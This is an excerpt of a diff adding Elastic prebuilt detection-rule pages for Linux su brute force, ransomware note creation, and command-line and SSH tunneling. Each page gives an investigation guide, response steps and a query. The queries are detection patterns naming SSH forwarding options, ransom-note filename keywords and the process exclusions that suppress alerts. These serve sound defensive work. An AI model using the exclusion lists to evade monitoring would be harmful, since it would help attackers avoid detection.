integration or deployment systems that use the 'su' command for user context switching can be mistaken for brute force attempts. Add these systems' parent process names to the exclusion list to prevent false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected host to prevent further unauthorized access or lateral movement within the network. +- Terminate the suspicious process identified by the detection rule to stop ongoing brute force attempts. +- Reset passwords for the targeted user accounts to prevent unauthorized access using potentially compromised credentials. +- Review and update the password policy to enforce strong, complex passwords and consider implementing account lockout mechanisms after a certain number of failed login attempts. +- Conduct a thorough review of the affected system for any signs of successful unauthorized access or additional malicious activity, such as new user accounts or scheduled tasks. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. +- Enhance monitoring and logging on the affected host and similar systems to detect and respond to future brute force attempts more effectively. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process* metadata _id, _index, _version + +// Create 1-minute time buckets +| eval Esql.time_window_date_trunc = date_trunc(1 minute, @timestamp) + +// Ensure event.action values in a list are expanded +| mv_expand event.action + +| where + event.category == "process" and event.type == "start" and event.action == "exec" and process.name == "su" and + process.parent.name not in ( + "bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "clickhouse-server", "ma", "gitlab-runner", + "updatedb.findutils", "cron", "perl", "sudo", "java", "cloud-app-identify", "ambari-sudo.sh", "runc", + "cau9sat.exe", "git-pull.sh", "distributor-pulltabs-devel-live", "p_ctmag", "backup_agent_main", "sshd", + "nxpgsql", "cau9cli.exe", "autopostgresqlbackup" + ) and + not process.parent.command_line == "runc init" + +// Keep relevant fields +| keep + @timestamp, + event.action, + event.category, + event.type, + process.name, + process.parent.name, + process.parent.command_line, + process.command_line, + user.name, + data_stream.dataset, + data_stream.namespace, + process.parent.executable, + agent.id, + user.id, + Esql.time_window_date_trunc + +| stats + Esql.event_count = count(*), + Esql.process_command_line_values = values(process.command_line), + Esql.process_parent_command_line_values = values(process.parent.command_line), + Esql.user_name_values = values(user.name), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by process.parent.executable, agent.id, user.id, Esql.time_window_date_trunc + +| where Esql.event_count >= 10 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-ransomware-note-creation-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-ransomware-note-creation-detected.asciidoc new file mode 100644 index 0000000000..b404334dff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-ransomware-note-creation-detected.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-potential-linux-ransomware-note-creation-detected]] +=== Potential Linux Ransomware Note Creation Detected + +This rule identifies a sequence of a mass file encryption event in conjunction with the creation of a .txt file with a file name containing ransomware keywords executed by the same process in a 1 second timespan. Ransomware is a type of malware that encrypts a victim's files or systems and demands payment (usually in cryptocurrency) in exchange for the decryption key. One important indicator of a ransomware attack is the mass encryption of the file system, after which a new file extension is added to the file. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Impact +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 16 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Linux Ransomware Note Creation Detected* + + +Ransomware encrypts files, demanding payment for decryption. Adversaries exploit Linux systems by executing mass file renaming and creating ransom notes. This detection rule identifies such behavior by monitoring rapid file changes and the creation of text files with ransom-related keywords, indicating potential ransomware activity. It focuses on unusual file operations in critical directories, excluding benign processes, to flag suspicious activities. + + +*Possible investigation steps* + + +- Review the process.entity_id and host.id to identify the specific process and host involved in the alert. This will help in understanding the scope and potential impact of the activity. +- Examine the process.executable path to determine if the executable is located in a suspicious directory such as /tmp, /var/tmp, or /dev/shm, which are commonly used by adversaries for malicious activities. +- Analyze the file paths involved in the rename events to assess if critical directories like /home/*/Documents, /root, or /var/www are affected, indicating a higher risk of data compromise. +- Check the process.name against the list of excluded benign processes to ensure the activity is not a false positive caused by legitimate software updates or installations. +- Investigate the content and metadata of the created .txt files with names containing keywords like *restore*, *lock*, or *ransom* to confirm if they contain ransom notes or instructions, which would indicate a ransomware attack. +- Correlate the timing of the file rename and creation events to verify if they occurred within the 1-second timespan, supporting the hypothesis of a rapid mass encryption event typical of ransomware behavior. +- Assess the risk score and severity level to prioritize the response and determine if immediate containment actions are necessary to prevent further damage. + + +*False positive analysis* + + +- Frequent software updates or installations can trigger the rule due to mass file renaming in critical directories. Exclude processes like dpkg, yum, dnf, and rpm if they are part of regular system maintenance. +- Development activities involving compilers or interpreters such as go, java, python, and node may cause false positives. Consider excluding these processes if they are part of routine development work. +- Automated backup or logging processes might create files with names similar to ransom notes. Exclude directories or processes associated with legitimate backup or logging activities to reduce false alerts. +- System administration tasks using tools like ansible-galaxy or semodule can mimic ransomware behavior. Exclude these processes if they are part of scheduled or known administrative operations. +- Web server operations in directories like /var/www/* might involve file creation and renaming. Exclude specific web server processes if they are identified as non-threatening and part of regular operations. + + +*Response and remediation* + + +- Isolate the affected Linux system from the network immediately to prevent further spread of the ransomware and protect other systems. +- Identify and terminate the malicious process responsible for the mass file renaming and ransom note creation using the process.entity_id and host.id from the alert. +- Backup any unencrypted files and critical data from the affected system to a secure location to prevent data loss. +- Conduct a forensic analysis of the affected system to determine the entry point and scope of the ransomware attack, focusing on the directories and processes identified in the alert. +- Restore the affected system from a known good backup prior to the ransomware attack to ensure system integrity and data recovery. +- Apply security patches and updates to the affected system and any other vulnerable systems to close any exploited vulnerabilities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to enhance detection capabilities for similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id, host.id with maxspan=1s + [file where host.os.type == "linux" and event.type == "change" and event.action == "rename" and file.extension : "?*" + and process.executable : ("./*", "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/var/run/*", "/boot/*") and + file.path : ( + "/home/*/Downloads/*", "/home/*/Documents/*", "/root/*", "/bin/*", "/usr/bin/*", "/var/log/*", "/var/lib/log/*", + "/var/backup/*", "/var/www/*") and + not ( + process.name : ( + "dpkg", "yum", "dnf", "rpm", "dockerd", "go", "java", "pip*", "python*", "node", "containerd", "php", "p4d", + "conda", "chrome", "imap", "cmake", "firefox", "semanage", "semodule", "ansible-galaxy", "fc-cache", "jammy", "git", + "systemsettings", "vmis-launcher", "bundle", "kudu-tserver", "suldownloader", "rustup-init", "bun" + ) or + process.executable in ("./runc", "./usr/bin/qemu-aarch64") + ) + ] with runs=25 + [file where host.os.type == "linux" and event.action == "creation" and + file.name : ("*restore*", "*lock*", "*recovery*", "*read*", "*instruction*", "*how_to*", "*ransom*") + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-tunneling-and-or-port-forwarding-via-command-line.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-tunneling-and-or-port-forwarding-via-command-line.asciidoc new file mode 100644 index 0000000000..de029d02ba --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-tunneling-and-or-port-forwarding-via-command-line.asciidoc @@ -0,0 +1,203 @@ +[[prebuilt-rule-8-19-34-potential-linux-tunneling-and-or-port-forwarding-via-command-line]] +=== Potential Linux Tunneling and/or Port Forwarding via Command Line + +This rule monitors for potential tunneling and/or port forwarding activity on Linux systems via command line utilities. Attackers may use various tools to create covert communication channels, allowing them to bypass network security measures and maintain persistent access to compromised systems. By leveraging these utilities, attackers can tunnel traffic through legitimate protocols, making detection more challenging. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform +* https://book.hacktricks.xyz/generic-methodologies-and-resources/tunneling-and-port-forwarding +* https://github.com/erebe/wstunnel + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Protocol Tunneling +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Linux Tunneling and/or Port Forwarding via Command Line* + + +Attackers can leverage many utilities to clandestinely tunnel network communications and evade security measures, potentially gaining unauthorized access to sensitive systems. + +This rule looks for several utilities that are capable of setting up tunnel network communications by analyzing process names or command line arguments. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Identify any signs of suspicious network activity or anomalies that may indicate protocol tunneling. This could include unexpected traffic patterns or unusual network behavior. + - Investigate listening ports and open sockets to look for potential protocol tunneling, reverse shells, or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} +- Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + + +*Related rules* + + +- Potential Linux Tunneling and/or Port Forwarding via SSH Option - ef395dff-be12-4a6e-8919-d87d627c2174 +- Potential Linux Tunneling and/or Port Forwarding - 6ee947e9-de7e-4281-a55d-09289bdf947e +- Potential Protocol Tunneling via Chisel Client - 3f12325a-4cc6-410b-8d4c-9fbbeb744cfd +- Potential Protocol Tunneling via Chisel Server - ac8805f6-1e08-406c-962e-3937057fa86f +- Potential Protocol Tunneling via EarthWorm - 9f1c4ca3-44b5-481d-ba42-32dc215a2769 +- Suspicious Utility Launched via ProxyChains - 6ace94ba-f02c-4d55-9f53-87d99b6f9af4 +- ProxyChains Activity - 4b868f1f-15ff-4ba3-8c11-d5a7a6356d37 + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator or developer who uses port tunneling/forwarding for benign purposes, consider adding exceptions for specific user accounts or hosts. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors, such as reverse shells, reverse proxies, or droppers, that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.command_line regex """.*[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}.*""" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-tunneling-and-or-port-forwarding-via-ssh-option.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-tunneling-and-or-port-forwarding-via-ssh-option.asciidoc new file mode 100644 index 0000000000..c59dd03488 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-tunneling-and-or-port-forwarding-via-ssh-option.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-34-potential-linux-tunneling-and-or-port-forwarding-via-ssh-option]] +=== Potential Linux Tunneling and/or Port Forwarding via SSH Option + +This rule detects the use of SSH options that may indicate tunneling or port forwarding on Linux systems. This behavior is commonly associated with malicious activity, such as establishing a port forward, proxy or an encrypted tunnel to exfiltrate data. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform +* https://book.hacktricks.xyz/generic-methodologies-and-resources/tunneling-and-port-forwarding + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Protocol Tunneling +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Linux Tunneling and/or Port Forwarding via SSH Option* + + +SSH is a secure protocol used for encrypted communication over networks, often employed for remote administration. Adversaries exploit SSH options like port forwarding to create tunnels, facilitating covert data exfiltration or unauthorized access. The detection rule identifies suspicious SSH commands indicative of tunneling by monitoring specific SSH options, helping to flag potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the process command line details to identify the specific SSH options used, such as ProxyCommand, LocalForward, RemoteForward, DynamicForward, Tunnel, GatewayPorts, ExitOnForwardFailure, or ProxyJump, to understand the nature of the potential tunneling or port forwarding. +- Examine the user account associated with the SSH process to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Check the source and destination IP addresses involved in the SSH connection to identify any unusual or unauthorized endpoints that may indicate malicious activity. +- Investigate the timing and frequency of the SSH connections to assess whether they coincide with known business operations or if they suggest unauthorized access patterns. +- Correlate the event with other security logs or alerts from the same host or network segment to identify any additional indicators of compromise or related suspicious activities. + + +*False positive analysis* + + +- Legitimate administrative tasks using SSH options like ProxyCommand or LocalForward can trigger the rule. To manage this, create exceptions for known administrative scripts or users frequently using these options for valid purposes. +- Automated backup or synchronization processes that use SSH tunneling for secure data transfer may be flagged. Identify these processes and exclude them by specifying the associated process names or user accounts. +- Development or testing environments where developers use SSH tunneling for accessing remote services might cause alerts. Implement exceptions for specific IP addresses or user groups associated with these environments. +- Monitoring or logging tools that utilize SSH for secure data collection can be mistaken for malicious activity. Whitelist these tools by their process names or command-line patterns to prevent false positives. +- Internal network services that rely on SSH port forwarding for legitimate communication should be reviewed and excluded based on their known behavior and usage patterns. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious SSH sessions identified by the detection rule to halt potential tunneling or port forwarding activities. +- Conduct a thorough review of SSH configuration files and logs on the affected system to identify unauthorized changes or access patterns. +- Reset credentials for any accounts that were used in the suspicious SSH activity to prevent further unauthorized access. +- Implement network segmentation to limit SSH access to only necessary systems and services, reducing the risk of lateral movement. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are compromised. +- Enhance monitoring and logging of SSH activities across the network to detect similar threats in the future, ensuring alerts are promptly reviewed and acted upon. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.name in ("ssh", "sshd") and process.args like "-o*" and +process.command_line like~ ( + "*ProxyCommand*", "*LocalForward*", "*RemoteForward*", "*DynamicForward*", "*Tunnel*", "*GatewayPorts*", + "*ExitOnForwardFailure*", "*ProxyCommand*", "*ProxyJump*" +) and +not ( + ?process.parent.args == "/usr/bin/pvedaemon" or + ?process.parent.command_line in ("pvedaemon", "pve-ha-lrm") or + ?process.working_directory like "*ansible*" or + process.command_line like "*ansible*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-tunneling-and-or-port-forwarding.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-tunneling-and-or-port-forwarding.asciidoc new file mode 100644 index 0000000000..a10dcbd67a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-tunneling-and-or-port-forwarding.asciidoc @@ -0,0 +1,231 @@ +[[prebuilt-rule-8-19-34-potential-linux-tunneling-and-or-port-forwarding]] +=== Potential Linux Tunneling and/or Port Forwarding + +This rule monitors for a set of Linux utilities that can be used for tunneling and port forwarding. Attackers can leverage tunneling and port forwarding techniques to bypass network defenses, establish hidden communication channels, and gain unauthorized access to internal resources, facilitating data exfiltration, lateral movement, and remote control. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform +* https://book.hacktricks.xyz/generic-methodologies-and-resources/tunneling-and-port-forwarding + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Protocol Tunneling +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 116 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Linux Tunneling and/or Port Forwarding* + + +Attackers can leverage many utilities to clandestinely tunnel network communications and evade security measures, potentially gaining unauthorized access to sensitive systems. + +This rule looks for several utilities that are capable of setting up tunnel network communications by analyzing process names or command line arguments. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Identify any signs of suspicious network activity or anomalies that may indicate protocol tunneling. This could include unexpected traffic patterns or unusual network behavior. + - Investigate listening ports and open sockets to look for potential protocol tunneling, reverse shells, or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} +- Identify the user account that performed the action, analyze it, and check 